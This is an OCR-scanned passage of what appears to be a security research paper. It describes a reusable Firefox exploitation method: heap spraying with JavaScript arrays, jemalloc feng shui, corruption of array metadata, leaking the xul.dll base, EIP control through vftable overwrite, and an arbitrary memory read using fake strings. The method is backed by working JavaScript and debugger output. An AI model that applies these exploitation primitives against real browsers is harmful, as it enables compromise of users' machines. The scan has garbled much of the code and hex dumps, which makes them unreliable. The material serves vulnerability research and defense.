In the introduction I set the goal of this paper to be a generic, reusable 
exploitation methodology that can be applied to as many as possible Firefox 
bugs (and bug classes). To be more specific, this high-level goal can be 
broken down into the following: 


1) Leak of xul.dll’s base address. This DLL is the main one for Firefox and 
it contains the code of both SpiderMonkey and Gecko (Firefox’s layout 
engine). This huge DLL contains all the ROP gadgets you may ever want. 


2) Leak of the address in Firefox’s heap where we have some control due to 
the bug we are exploiting. This can be very useful since we can use it to 
create fake objects with valid addresses that point to data we control. 


3) The ability to read any number of bytes from any address we choose, i.e. 
an arbitrary leak. 


4) And finally, of course, EIP control (to start a ROP chain, for example). 


In order to achieve these we will be using standard JavaScript arrays, i.e. 
ArrayObject jsobjects, as primitives. In the past, researchers have used 
typed arrays for similar purposes [P20, REN]. However, as we have seen in 
section 2.1, the user-controllable content (data) of typed arrays and their 
metadata (like their length and their data pointer) are no longer 
contiguous in memory. On the other hand, I have found that ArrayObjects can 
be forced to place their metadata next to their data on the jemalloc heap 
and have the following helpful characteristics: 


1) We can control their size to multiples of 8 bytes, and also have 
partial control of their contents, both due to the IEEE-754 64-bit jsval 
representation we have seen. 


5 


2) We can easily and controllably spray with ArrayObjects from JavaScript. 


3) We can move the sprayed ArrayObjects to the jemalloc-managed heap after 
we fill the nursery. Since arrays are jsobjects, when they grow bigger they 
behave according to the way I have already described in section 2.3. 


----[ 5.1 - ArrayObjects inside ArrayObjects 


Therefore, we spray ArrayObjects as elements of a container ArrayObject; 
when the container becomes large enough, the elements (which are 

themselves ArrayObjects) are moved to the jemalloc heap and bring with them 
their contents and metadata. At js/src/gc/Marking.cpp we can see this in 
the method js::TenuringTracer: :moveElementsToTenured () xcuse th 
annotated with comments pseudocode, see the actual source for the full 
details: 


/* 
* nslots here is equal to the capacity of the ArrayObject plus 2 
* (ObjectElements::VALUES_PER_HEADER) . 
mf. 

size_t nslots = ObjectElements::VALUES_PER_HEADER + srcHeader->capacity; 


if (src->is<ArrayObject>() && nslots <= GetGCKindSlots(dstKind)) { 
/* 
* If this is an ArrayObject and nslots is less or equal 
* to 16 (GetGCKindSlots(dstKind)) there is no new allocation. 
% 
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return nslots * sizeof (HeapSlot); 


Otherwise there is a new allocation of size nslots that 

goes on the jemalloc heap, the elements are copied, and the 
elements_ pointer is set. 

*/ 

dstHeader = \ 

reinterpret_cast<ObjectElements*> (zone->pod_malloc<HeapSlot>(nslots))j; 


js_memcpy (dstHeader, srcHeader, nslots * sizeof (HeapSlot)); 
nursery ().setElementsForwardingPointer(srcHeader, dstHeader, nslots); 


Let’s revisit again the example from section 2.3 and present it in the 
context of moving ArrayObjects and their metadata to the jemalloc heap. 


T| Temporary A elems ArrayObject Free : jemalloc 
object + elements memory 
beta tS Seiat Sate ached 6 St ia Shes eset ENE Gioia @ ate Ete Sak Gea ESS Loan g fatieves SoG : elems 
Before minor GC 
var A = new Array(); | 
+----+ | 
| var A[1] = new Array(); // a | 
[, 
Next free| | var A[15] = new Array(); // b 
ae | | + 
| | 
VV V V 
TI ITI] |Alla gucci b|+-+ J| ld 
elems 
Nursery + Tenured 
Next free After minor GC 
+----- + 
| 
V V 
J||J||Al4 
elements_ pointer 

Nursery Tenured 


The above diagram describes what happens to the Firefox heaps when we run 
the following JavaScript code. We create a container ArrayObject; this is 
initially allocated on the nursery. This is A from above. 


var container = new Array(); 
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As we add elements (ArrayObjects) to the container, a minor (nursery) 
garbage collection happens. We trigger this by filling the 16 MBs of the 
nursery with 66000 ArrayObjects of 30 elements each remember each 
element is 8 bytes (jsval), but the resulting ArrayObject of size 240 goes 
to the 256-sized jemalloc run (there are also the metadata). 


// 16777216 / 256 == 65536 
var spray_size = 66000; 


The container ArrayObject (A) is moved from the nursery to the tenured 
heap. If (2 + capacity) >= 17, then each one of the ArrayObject elements of 
the container are re-allocated on the jemalloc heap. Since these are 
ArrayObjects, they have both contents and some metadata. The container 
remains on the tenured heap for the rest of its lifetime. 


for(var i = 0; i < spray_size; itt) 

container[i] = new Array(); 
for(var j = 0; 4 < 30; 4 += 2) // 30 * 8 == 240 
container[i] [j] = 0x45464645; 


container[i][j + 1] 0x47484847; 


} 


The careful reader would notice something here. The condition to move an 
object to the jemalloc heap depends on the object’s capacity. This sets a 
limit to which jemalloc size categories can be used for our purpose, based 
on the object’s initial capacity. If you dig SpiderMonkey’s code you will 


find that an ArrayObject with an initlen of 1 (a[0] = "A" for example) has 
a capacity of 6. Therefore, to satisfy the moving condition we have to 
preclude some of the small jemalloc size categories. 


At this point let’s use the shadow utility from within WinDBG to search the 
jemalloc heap for the content we have sprayed (edited for readability): 


0:000> !py c:\\tmp\\pykd_driver jesearch -s 256 -c 45464645 


n 


hadow] searching all current runs of size class 256 for 45464645 


hadow] found 45464645 at 0x141ad110 
(run 0x141lad000, region 0x141lad100, region size 0256) 


n 


hadow] found 45464645 at 0x141ad120 
(run 0x141lad000, region 0x141lad100, region size 0256) 


n 


hadow] found 45464645 at 0x141ad130 
(run 0x141ad000, region 0x141lad100, region size 0256) 


n 


0:000> dd 141ad100 1780 


Metadata of a sprayed ArrayObject ] 
flags initlen capacity length 
141ad100 00000000 O000001le 0000001e O0000001e 


Contents of the same sprayed ArrayObject ] 
141ad110 45464645 ffffff81 47484847 fFffffs8l1 
141ad120 45464645 ffffff81 47484847 fFrffffsl 


14ladleO 45464645 ffffff81 47484847 fLffff8l1 
14lad1f0 45464645 ffffff81 47484847 fLFLLf81 


Metadata of another sprayed ArrayObject 
flags initlen capacity length 
141ad200 Q00000000 O000001le 0000001e O0000001e 
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and its data ] 


141ad210 45464645 ffffff81 47484847 fLLLLf81 
141ad220 45464645 ffffff81 47484847 fLFLLf81 


0:000> !py c:\\tmp\\pykd_driver jeinfo 141ad200 
shadow] address 0x141ad200 


shadow] run 0x1l4lad000 is the current run of bin 0x00600608 


shadow] address 0x141lad200 belongs 


to region 0x14lad200 (size class 0256) 


We can see above that the ArrayObject elements of the container ArrayObject 
are indeed on the jemalloc heap and specifically on regions of size 256. 
Also, they are contiguous to each other. 


----[ 5.2 - jemalloc feng shui 


Heap feng shui refers to the manipulation of a heap with the goal of 
carefully arranging it (with selected objects) towards aiding exploitation 


[FSJ]. Armed with the knowledge of the previous sections, we can now: 


1) Move our ArrayObjects 
with their metadata. 


off the nursery and onto the jemalloc heap along 


2) Poke holes in the jemalloc runs, and trigger a garbage collection to 


actually make these holes reclaimable by subsequent allocations. 


3) Reclaim the holes (since jemalloc is LIFO) and create useful heap 


arrangements. 


Assuming we have a heap overflow vulnerability in a specific-sized DOM 
class, we can continue towards implementing our methodology. As an 
example, I will use a typical Firefox DOM class that has a vtable and can 
be allocated easily from JavaScript. Using shadow we can look for such a 
DOM class whose objects have a size of 256 bytes: 


0:000> !py c:\\tmp\\pykd_driver symbol 


hadow] 0Ox100 (256) 


Me 


Continuing from where we 


Ss 
shadow] options: 

shadow -v only 
shadow -j only 
shadow -d only 
shadow -x only 


hadow] usage: symbol [-vjdx] <size> 


class symbols with vtable 
symbols from SpiderMonkey 
DOM symbols 
non-SpiderMonkey symbols 


0:000> !py c:\\tmp\\pykd_driver symbol -dv 256 
shadow] searching for DOM class symbols of size 256 with vtable 


class mozilla::dom::SVGImageElement (vtable: yes) 


left off in section 5.1, after spraying the 


jemalloc heap with ArrayObjects, we fr very second allocation to create 
holes. We also trigger a garbage collection to make these holes 
reclaimable. 

for(var i = 0; i < spray_size; i += 2) 


{ 


delete (container[i]); 


container[i] = null; 
container[i] = undefined; 
} 
var gc_ret = trigger_gc(); 


We fill these holes with th xample vulnerable object we have identified 
above, i.e. mozilla::dom::SVGImageElement. Our assumption is that we have 
a controlled (or semi-controlled) heap overflow in some method of this 


class. We can trigger it 


ither after the instantiation of each object, or 
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for(var i = 0; i < spray_size; i += 2) 


{ 


} 


Lt: Or; 


// SVGImageElement is a 0x100-sized object 
container[i] = \ 


document .createElementNS ("http://www.w3.org/2000/svg", "image"); 


// trigger the overflow bug here in all allocations, e.g.: 


// container[i].some_vulnerable_method(); 


// container[1666].some_vulnerable_method(); 


trigger the overflow bug here in a specific one, e.g.: 


Using shadow as before we can search for the controlled sprayed content of 
the ArrayObjects and make sure that our heap arrangement has succeeded; 
we have ArrayObjects and SVGImageElement objects one after the 


that is 


other contiguously on the jemalloc heap. 


textual 


The jerun command outputs a 


visualization of the regions of the requested run; their index, 


whether 
content. 


0:000> !py c:\\tmp\\pykd_driver jerun 0x15b11000 
shadow] searching for run 0x15b11000 


n 


nnn Nn 


allocated (used) or not, address, and a 4-byte preview of the 


hadow run 0x15b11000] [size 016384] [bin 0x00600608] 
[region size 0256] [total regions 0063] [free regions 0000] 
hadow region 000] [used] [0x15b11100] [0x0] 
hadow region 001] [used] [0x15b11200] [0x69e0cf70] 
hadow region 002] [used] [0x15b11300] [0x0] 
hadow region 003] [used] [0x15b11400] [0x69e0cf70] 


Above we can see that the region at 15b11100 is the first region of the 
run, that it is allocated (used), and that its first 4 bytes are zero, 


corresponding to the flags of the ArrayObject. 


The next region at 15b11200 


has a first dword of 69e0cf70, which is SVGImageElement’s vftable pointer. 


Let’s examine in more detail: 


0:000> dd 15b11100 1780 


15b111 


15b11 
15b11 
15b11 


SVGImageElement object at region O01 
15b11 
15b11 
15b11 
15b11 
15b11 
15b11 


The next ArrayObject starts here, 


Metadata of ArrayObject at region 000 ] 


flags initlen capacity length 
00 00000000 000000le 0000001le O000001e 


Contents of the ArrayObject ] 
15b11 
15b11 


110 45464645 ffffff81 47484847 fLELLFS81 
120 45464645 ffffff81 47484847 fFLLLLFS81 


1d0 45464645 ffffff81 47484847 fLELLFS81 
leO 45464645 ffffff81 47484847 fLFLLFS81 
1f0 45464645 ffffff81 47484847 fLLLLFS81 


200 69e0cf70 69e0eba0 1a590ea0 00000000 
210 11bfc830 00000000 00020008 00000000 
220 00000000 00000000 15b11200 00000000 
230 00000007 00000000 00090000 00000000 
240 69e0d1£4 00000000 00000000 00000000 
250 00000000 00000000 69e0bd38 00000000 


flags initlen capacity length 


15b11300 00000000 0000001le O0000001le 0000001e 


region 002] 
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15b11310 45464645 fffffF81 47484847 fLFLLf81 
15611320 45464645 fffffF81 47484847 fLFLLf81 


[ The SVGImageElement object at region 003 ] 
15b11400 69e0cf70 69e0eba0 1a590ea0 00000000 


0:000> dds 15b11200 
15b11200 69e0cf70 xul!mozilla::dom::SVGImageElement:: ‘vftable 


, 


We have indeed managed to arrange the heap the way we wanted. The next 
step is to search for the ArrayObject whose metadata we have corrupted via 
the assumed SVGImageElement overflow bug. The following code snippet 
assumes that we have overwritten all the metadata (16 bytes) and have used 


Ox666 as the new value for initlen, capacity and length. 
var pwned_index = 0; 


for(var i = 0; i < spray_size; i += 2) 
{ 

if(container[i].length > 500) 

{ 


var pwnstr = "[*] corrupted array found at index: " + i; 


log(pwnstr); 


pwned_index = i; 
break; 


} 


Our corrupted ArrayObject now allows us to index the corresponding 
JavaScript array beyond its end, and into the neighboring SVGImage 


Element 


object. Since we have sprayed arrays of length 30 (Oxle), we can i 
the first 8 bytes of the SVGImageElement object as a jsval of type 
at index 30 (since at index 29 is the last element of the array). 


0:000> dd 15b11300 1780 


Corrupted metadata of an ArrayObject ] 
flags initlen capacity length 
15611300 O0000000 00000666 D0000666 00000666 


index 0 [ index 1 
15b11310 45464645 £ffffff81 47484847 f£fLfLF81 
index 2 [ index 3 
15b11320 45464645 ffffff8l 47484847 f£fLfLF8l 
15b113c0O 45464645 ffffff81 47484847 f£fLfLF8l 
15b113e0 45464645 ffffff81 47484847 ffLfLF8l 
index 28 [ index 29 
15b113f0 45464645 £ffffff81 47484847 f£fLfLF8l 
index 30 [ index 31 


15b11400 69e0cf£70 69e0eba0 1a590ea0 00000000 


15611410 11bfc830 00000000 00020008 00000000 


[ index 35 ] 
15611420 00000000 00000000 15b11400 00000000 
15b11430 00000007 00000000 00090000 00000000 


15b114e0 ©€4000201 00000000 00000000 e4010301 
15b114f£0 06000106 00000001 00000000 e5e50000 


ndex into 
double 
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[*] corrupted array found at index: 31147 
----[ 5.3 - xul.dll base leak and our location in memory 


We can read from index 30 above, but remember that because we are using an 
array to do so, the two 32-bit values there are going to be treated as a 
double jsval (since the one 32-bit value that corresponds to the type of 
the 64-bit jsval is less than OxFFFFFF80). Therefore, we need to implement 
two helper functions; one to read the 64-bit value as a double and convert 


it to the corresponding raw bytes (named double_to_bytes()), and one to 
convert the raw bytes to their hexadecimal representation (named 
bytes_to_hex()). Reading from index 30 gives us a vftable pointer of 


SVGImageElement and we simply need to subtract from it the known non-ASLRed 
pointer from xul.dll. 


var val_hex = \ 
bytes_to_hex (double_to_bytes (container [pwned_index] [30])); 


var known_xul_addr = 0x1l2ldeba0; // 41.0.1 specific 
var leaked_xul_addr = parselInt (val_hex[1], 16); 

var aslr_offset = leaked_xul_addr - known_xul_addr; 
var xul_base = 0x10000000 + aslr_offset; 


var val_str = \ 
"[*] leaked xul.dll base address: Ox" + xul_base.toString(16); 


log(val_str); 


In the SVGImageElement object at address 15b11428 above, indexed with our 
corrupted array at index 35, there is a pointer to the start of the object 
itself (15b11400). Such pointers exist in most (if not all, I haven’t 
checked them all automatically) Firefox DOM objects for garbage collection 
purposes. By leaking this address from index 35 of our corrupted array, we 
can learn the location of all these objects in the jemalloc heap. This can 
be very helpful for creating fake but valid objects (as we will doing in 
the sections below). 


val_hex = \ 
bytes_to_hex (double_to_bytes (container [pwned_index] [35])); 


val_str = "[*] victim SVGImageElement object is at: Ox" + val_hex[0]; 
log(val_str); 


Again we use the two helper functions for reading double jsvals and 
converting them to hexadecimal. 


In WinDBG the output is (edited for readability): 


:000> g 

] corrupted array found at index: 31147 

] leaked xul.dll base address: 0x67c30000 
] 


0 
[ 
[ 
[ victim SVGImageElement object is at: 0x15b11400 


* 
* 
* 


Breakpoint O hit 


eax=002cf801 ebx=1160b8b0 ecx=00000001 edx=00000002 esi=697£1386 
edi=00000000 eip=697f1386 esp=0038cce0 ebp=0038cd6c iopl=0 

nv up ei pl nz na po nc 
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00000202 


xul!js::math_asin: 
697£1386 push ebp 


0:000> Imm xul 
start end module name 


67c30000 6a162000 xul 


Indeed we can verify with WinDBG’s lm command that we have leaked the bas 
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of xul.dll correctly. Also we now know the address of our victim 
SVGImageElement object. The complete code for this is in file 
'svg-leak.html’ in the archive. 


----[ 5.4 - EIP control 


Our corrupted ArrayObject can of course also be used for writing memory. In 


order to get EIP control, we can simply overwrite a vftable pointer o 
The exact val 
we have to add to or subtract from the leaked SVGImageElement object 

address depend on the method we are calling (and the version of xul.dl 


SVGImageElement object and then call one of its methods. 


var obj_addr = \ 


f the 
lues 


1). 


parselInt (val_hex[0], 16); // our location in memory, see above 


var deref_addr = obj_addr - 0x1f4 + 0x4; // 41.0.1 specific 
var target_eip = "41424344"; 


var write_val_bytes = \ 
hex_to_bytes(target_eip + deref_addr.toString(16)); 


var write_val_double = bytes_to_double(write_val_bytes) ; 
container [pwned_index] [30] = write_val_double; 


log("{[*] calling a method of the corrupted SVGImageElement object"); 


for(var i = 0; i < spray_size; i += 2) 
{ 

container[i].setAttribute("height", "100"); 
} 


Since we don’t know the exact index of SVGImageElement object we have 


corrupted, we call a method of all the objects we have sprayed. 


After we have overwritten SVGImageElement’s vftable, in WinDBG the 


situation looks like the following: 


0:000> dd 15b11300 1780 


Corrupted metadata of an ArrayObject ] 
flags initlen capacity length 
15611300 O0000000 00000666 D0000666 00000666 


index 0 [ index 1 
15b11310 45464645 £ffffff81 47484847 f£fLfLF81 
index 2 [ index 3 
15b11320 45464645 ffffff8l 47484847 f£fLfLF8l 
15b113c0O 45464645 ffffff81 47484847 f£fLfLF8l 
15b113e0 45464645 ffffff81 47484847 ffLfLF8l 
index 28 [ index 29 
15b113f0 45464645 ffffff81 47484847 f£fLfLF8l 
index 30 [ index 31 
15b11400 15b11210 41424344 1a590ea0 00000000 


15611410 11bfc830 00000000 00020008 00000000 


[ index 35 ] 
15b11420 00000000 00000000 15b11400 00000000 
15b11430 00000007 00000000 00090000 00000000 


15b114e0 ©€4000201 00000000 00000000 e4010301 
15b114f£0 06000106 00000001 00000000 e5e50000 
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[*] calling a method of the corrupted SVGImageElement object 


(1084.a60): Access violation - code c0000005 (first chance) 
First chance exceptions are reported before any exception handling. 
This exception may be expected and handled. 


eax=15b11210 ebx=00000001 ecx=15b11400 edx=00000006 esi=1160b8b0 
edi=15b11400 eip=41424344 esp=0032d2f0 ebp=0032d520 iopl=0 

nv up ei pl zr na pe nc 

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b ef1=00010246 


41424344 je 41424346 [br=1] 


We have EIP control, know the base of xul.dll, and can place arbitrary 
content on the heap at known addresses, therefore it is quite simple at 
this point to ROP our way to whatever makes us happy. See the file 
'svg-eip-control.html’ for the complete code. 


----[ 5.5 - Arbitrary memory leak 


Although we have achieved total control over the Firefox process, let’s 
look at something that requires more fine-grained control over the jemalloc 
heap. To demonstrate how jemalloc can be manipulated in detail, I will be 
describing how we can achieve the ability to read any number of bytes from 
any address we choose, i.e. an arbitrary memory leak. 


For this purpose I will be using a constructed (i.e. fake) non-inlin 
string. In order to be able to read back from this fake string, I will 

also need to create a fake string-type jsval that points to the fake 
non-inline string, and index this jsval via the corrupted ArrayObject. The 
problem with this approach is that the corrupted ArrayObject cannot be used 
to write a fake string-type jsval (or any other jsval); remember that 

there is no IEEE-754 64-bit double that corresponds to a 32-bit encoded 
value greater than OxFFFOO000. This is required since in order to create a 
fake jsval string we need to write ffffff85 as its tag value (see the 
discussion on strings in section 2.1 if you are confused at this point). 


So, we need to find another way to construct a fake string-type jsval in 
controlled memory. What we can use is the reliability and the LIFO 
operation of jemalloc to create a more complex heap arrangement that will 
help us solve this problem. Specifically, I will add typed arrays to the 
methodology to utilize their fully controlled content. Although, as we have 
seen, I cannot place the metadata of a typed array in memory reachable by 
user-controlled data, the actual data of a typed array (which are 
controlled to byte granularity) can be placed on jemalloc runs. 


We start by spraying with ArrayObjects the 256-sized jemalloc runs. Again, 
we have to bypass the nursery and move our objects to jemalloc, so the 


size of our spray is 16777216 / 256 == 65536 arrays. 
var spray_size = 66000; 
var container = new Array(); 
for(var i = 0; i < spray_size; itt) 
{ 
container[i] = new Array(); 
for(var j = 0; j < 30; j += 2) // 30 * 8 == 240 bytes 
{ 
container [i] [j] = 0x45464645; 
container[i][j + 1] = 0x47484847; 


} 


This time, instead of creating a hole every other allocation, we create two 
holes for every ArrayObject we leave on the jemalloc heap. We also trigger 
a GC to make the holes reclaimable. 
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for(var i = 0; i < spray_size; i += 


{ 
delete (container[i]); 
container[i] = null; 


container[i] = undefined; 


delete(container[i + 1]); 


container[i + 1] = null; 
container [i 1] = undefined; 
} 
var gc_ret = trigger_gc(); 


23 


Let’s assume at this point that we have a breakpoint and look at how the 
jemalloc 256-sized runs look like: 


shadow] [run 0x0e507000] 


n 0x11d03000 


n 
2) 
je) 
Q, 
(0) 
= 
6 
c 


shadow run 0x15£09000 


shadow run 0x15f£0d000 


shadow run 0x15f£11000 


shadow run 0x15f£15000 


shadow run 0x15£19000 


Looking at one of these runs 


[size 016384] 
[region size 0256] [total regions 0063] [free regions 0000] 


(in random) 


size 016384 
region size 0256 total regions 


size 016384 
region size 0256 total regions 


size 016384 
region size 0256 total regions 


size 016384 
region size 0256 total regions 


size 016384 
region size 0256 total regions 


size 016384 
region size 0256 total regions 0063 free regions 0042 


0063 free regions 0042 


0063 free regions 0042 


0063 free regions 0042 


0063 free regions 0042 


0063 free regions 0042 


0:043> !py c:\tmp\pykd_driver jeruns -s 256 
shadow] listing allocated non-current runs for size class 256 
shadow] [total non-current runs 446] 


[bin 0x00700608] 


bin 0x00700608 


bin 0x00700608 


bin 0x00700608 


bin 0x00700608 


bin 0x00700608 


bin 0x00700608 


with shadow we see: 


0:000> !py c:\tmp\pykd_driver jerun 0x15£15000 

shadow] searching for run 0x15f£15000 

shadow run 0x15£15000] [size 016384] [bin 0x00700608] 
[region size 0256] [total regions 0063] [free regions 0042] 

shadow region 000 free 0x15£15100 Oxe5e5e5e5 

shadow region OO1 free 0x15£15200 Oxe5e5e5e5 

shadow region 002 used 0x15£15300 0x0 

shadow region 003 free Ox15£15400 Oxe5e5e5e5 

shadow region 004 free 0x15£15500 Oxe5e5e5e5 

shadow region 005 used Ox15f£15600 0x0 

shadow region 006 free 0x15£15700 Oxe5e5e5e5 

shadow region 007 free 0x15£15800 Oxe5e5e5e5 

shadow region 008 used 0x15£15900 0x0 

shadow region 009 free Ox15f£15a00 Oxe5e5e5e5 

shadow region 010 free Ox15f£15b00 Oxe5e5e5e5 


Our hole punching has worked. Remember that e5e5e5e5 is the value used by 
Firefox for the sanitization of freed jemalloc regions. The used regions 
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with the value 0x0 as their first dword are the ArrayObjects we have left 


on the heap. 


We now reclaim these holes on the jemalloc heap with one SVGImageElement 


object and one Uint32Array typed array after each ArrayObject. We 


make 


sure the content of this typed array is of size 256 bytes so it goes on 


the jemalloc run we are targeting. At this point the actual conte 
typed array doesn’t matter. 


for(var i = 0; i < spray_size; i += 3) 
{ 


container[i] = \ 


nt of the 


document .createElementNS ("http://www.w3.org/2000/svg", "image"); 


container[i + 1] = new Uint32Array (64); 


for (var fo 0p 4 < 647 Grr) YP 64% 4.55256 
{ 

container[i + 1] [3] = 0x51575751; 
} 


Now, the same run from above looks like: 
0:000> !py c:\tmp\pykd_driver jerun 0x15f£15000 
shadow] searching for run 0x15f£15000 
shadow run 0x15£15000] [size 016384] [bin 0x00700608] 

[region size 0256] [total regions 0063] [free regions 0000] 

shadow region 000 used 0x15£15100 Ox69e0cf£70 
shadow region 001 used 0x15£15200 0x51575751 
shadow region 002 used 0x15£15300 0x0 
shadow region 003 used Ox15£15400 Ox69e0cf£70 
shadow region 004 used 0x15£15500 0x51575751 
shadow region 005 used 0x15£15600 0x0 
shadow region 006 used 0x15£15700 Ox69e0cf£70 
shadow region 007 used 0x15f£15800 0x51575751 
shadow region 008 used 0x15£15900 0x0 
shadow region 009 used Ox15f£15a00 Ox69e0cf70 
shadow region 010 used Ox15f£15b00 0x51575751 
shadow region 014 used Ox15f£15f£00 0x0 
shadow region 015 used 0x15£16000 Ox69e0cf£70 
shadow region 016 used 0Ox15£16100 0x51575751 


0:000> dd Ox15f15f00 1790 


ArrayObject ] 
15f15£f00 00000000 O0000001e O000001e O000001le 
15f15f10 45464645 ffffff81 47484847 f£fffffsl 
15f15f20 45464645 ffffff81 47484847 ffffffsl 
15f15f30 45464645 ff 1 47484847 £ f 
15f15f40 45464645 ff 81 47484847 £ FFS81 
15f15f50 45464645 ff 81 47484847 £ FFS81 
15f15f60 45464645 ff 81 47484847 £ FFS81 
15f15f70 45464645 ff 81 47484847 £ FFS81 
15f15f80 45464645 ff 81 47484847 £ FFS81 
15f15f90 45464645 ff 81 47484847 £ FFS81 
15f15fa0 45464645 ff 81 47484847 £ FFS81 
15f15fbO 45464645 ff 81 47484847 £ FFS81 
15f15fc0O 45464645 ff 81 47484847 £ FFS81 
15f15fddO 45464645 ff 81 47484847 ffftfff381 
15f15fe0 45464645 ff 81 47484847 ffftfff381 
15f15ff0 45464645 ff 81 47484847 ffffff381 

SVGImageElement ] 
15£16000 69e0cf70 69e0eba0 1652da20 00000000 
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15£16010 0d863c90 00000000 00020008 00000000 
15£16020 00000000 00000000 15f16000 00000000 
15£16030 00000007 00000000 00090000 00000000 
15£16040 69e0d1f4 00000000 00000000 00000000 
15£16050 Q0000000 00000000 69e0bd38 00000000 
15£16060 69f680d4 e5e50000 69f680d4 e5e50000 
15£16070 69f£680d4 e5e50100 00000000 eded5e5e5 
15£16080 69e0c9d8 69e0c24c 00000000 00000000 
15£16090 Q0000000 00000000 00000000 00000000 
15£160a0 QO0000000 e5e5e5e5 00000000 00000000 
15£160b0 00890001 e5000000 00000000 eded5e5e5 
15£160cO QO0000000 00000000 e4000001 00000000 
15£160d0 QO0000000 e€4010101 00000000 00000000 
15£160e0 e4000201 00000000 00000000 e4010301 
15f160f0 06000106 00000001 00000000 e5e50000 
Uint32Array contents ] 
1T5f6l00: 51575751. 51575751 SlS/57591 51575751 
T5£16110 SIS75751. 51575751 51575751. 51575751 
T5E16120° $1575751. S25 75751 51575751 51575751 
T5SfLT61L30° -515.75.751. 54575751, 51575.751L SISIS7SL 


We have managed to create the arrangement we require; we have on 
ArrayObject (with its metadata and jsval contents), followed by an 
SVGImageElement object, followed by the contents of a Uint32Array. If we 
look at some other runs (of our targeted size, 256) we may see that in some 
of them the arrangement has not succeeded. That is the ArrayObject is 
followed by a Uint32Array, which is then followed by an SVGImageElement 
object. This happens sometimes, but it doesn’t really affect us. As long 
as there is one run on which our arrangement has worked, our methodology 
can be applied. Below I will explain why some runs with incorrect 
arrangement do not pose a problem; just keep it in mind in case you have 
seen it with shadow and you are wondering. 


Next we proceed with triggering our assumed heap overflow bug in an 
SVGImageElement method. This allows us to overwrite data from the 
SVGImageElement object onto the ArrayObject we placed after it (and of 
course the in-between Uint32Array in this case). We then locate the pwned 
ArrayObject as we did in section 5.2, and use it to leak our location in 
memory as we did in 5.3 (see file ’arbitrary-leak.html’ in the archive for 
the complete code). We can now focus on transforming our relative leak to 
an arbitrary leak. 


Since we know the address of the SVGImageElement object, we can calculate 
the address of the neighboring Uint32Array; it is 0x100 bytes after it. We 
can then create our fake string-type jsval at the beginning of every 
Uint32Array we have sprayed. This fake jsval will point 0x10 bytes after 
the start of the Uint32Array. There we will create a fake non-inline string 
with the arbitrary address we want to leak from. The JavaScript code for 
all these is the following: 


// this is the leaked address of the SVGImageElement object 
var obj_addr = parselInt (val_hex[0], 16); 


// where we will place our fake non-inline string 
var fake_jsstring_addr = obj_addr + 0x110; 


// create a fake string-type jsval at the start 
// of each sprayed Uint32Array object 


for(var i = 0; i < spray_size; i += 3) 

{ 
container[i + 1][0] = fake_jsstring_addr; 
container[i + 1][1] = Oxffffff385; 


} 


// at obj_addr + 0x110, which corresponds to [64] and [65], 
// we create a fake non-inline string 
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var read_len = "00000002"; // fake string size 


write_val_bytes = hex_to_bytes(read_len + "00000049"); 


write_val_double = bytes_to_double(write_val_bytes) ; 


container [pwned_index] [64] = write_val_double; 


// we use the base of xul.dll as the arbitrary address to 
// vead from, since we know that the first two bytes there 


// are "MZ" in ASCII 
var read_addr = xul_base.toString(16); 


write_val_bytes = hex_to_bytes("00000000" + read_addr) ; 


write_val_double = bytes_to_double(write_val_bytes) ; 


container [pwned_index] [65] = write_val_double; 


// let's read from our fake string, it is at index 


log (leaked) ; 
The actual objects in memory after the execution of th 


0:000> dd Ox15f15f00 1790 


Our corrupted ArrayObject ] 

15f15f00 00000000 00000666 00000666 00000666 
15f15f10 45464645 ffffff81 47484847 ffffffs8l1 
15f15f20 45464645 fffffft 47484847 £ f 
15f15f30 45464645 £ 47484847 £ 
15f15f40 45464645 £ 47484847 £ 
15f15f50 45464645 £ 47484847 £ 
15f15f60 45464645 £ 47484847 £ 
15f15f70 45464645 £ 47484847 £ 
15f15f80 45464645 £ 1 47484847 £ 
15f15f90 45464645 £ 47484847 £ 
15f15fad 45464645 £ 47484847 £ 
15f15fbO 45464645 £ 47484847 £ 
15f15fcO 45464645 £ 47484847 £ 
15f15fd0 45464645 £ 47484847 £ 
15f15fe0 45464645 £ 47484847 £ 
15f15ff0 45464645 £ 47484847 £ 


Our SVGImageElement object ] 

F16000 69e0cf70 69e0eba0 1652da20 00000000 
f16010 0d863c90 00000000 00020008 00000000 
f16020 00000000 00000000 15f16000 00000000 
£16030 00000007 00000000 00090000 00000000 
f16040 69e0d1£4 00000000 00000000 00000000 
f16050 00000000 00000000 69e0bd38 00000000 
F16060 69£f680d4 e5e50000 69f680d4 e5e50000 
F16070 69£680d4 e5e50100 00000000 ed5e5e5e5 
F16080 69e0c9d8 69e0c24c 00000000 00000000 
f£16090 00000000 00000000 00000000 00000000 
fl60a0 00000000 ed5e5e5e5 00000000 00000000 
F160b0 00890001 e5000000 00000000 e5e5e5e5 
f160cO 00000000 00000000 e4000001 00000000 
f160d0 00000000 e4010101 00000000 00000000 
fl160e0 e4000201 00000000 00000000 e4010301 
F160£f0 06000106 00000001 00000000 e5e50000 


h 


AaAanrawnwnrnnnanon ooo oo 
7 


The contents of our Uint32Array ] 
[ string jsval ] 
15£16100 15f16110 fffff£85 51575751 51575751 


[ fake non-inline string ] 
[ size ] [ addr 
15£16110 00000049 00000002 67c30000 00000000 


LStVor20.. S157 SASTOTOL, SISTS 751 ola Toro. 
TSfLEL30. SISTSTOL. STSISTSOL SlISTS 151) SLOTS ISL 


[62] 
var leaked = "[*] leaked: " + container [pwned_index] [62]; 


abov 


cod 


at: 
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The output in WinDBG is: 


corrupted array found at index: 25649 

leaked xul.dll base address: 0x67c30000 

victim SVGImageElement object is at: 0x15f16000 
leaked: MZ 


* 
* 
* 
* 


Cn ees eee oe] 


] 
] 
] 
] 


Since we used the address of the base of xul.dll (we previously leakd) as 
the arbitrary address to leak from, we get back "MZ" as we expected. At 
this point it should be clear why it doesn’t matter if the heap 
arrangement didn’t succeed in some jemalloc runs. We can keep trying to 
leak via our fake string jsvals that we placed in the beginning of all 
sprayed Uint32Arrays. We will only get back the expected "MZ" value from a 
jsval on a run that the heap arrangement succeeded. On runs that the 
arrangement didn’t work (that is the Uint32Array is before the 
SVGImageElement object), trying to access index 62 (where we expect our 
fake string jsval to be) would simply return a double due to the two 
dwords there being interpreted as an IEEE-754 jsval without a tag. This 
doesn’t attempt to do dereference anything, therefore no crash can happen. 


When we finally get back the "MZ" value, we can re-use our fake string 
jsval to leak from whatever address we want. 


// now we can re-use the fake string-type jsval 

// to leak from another location 

read_addr = "cafebabe"; // crash to demonstrate 
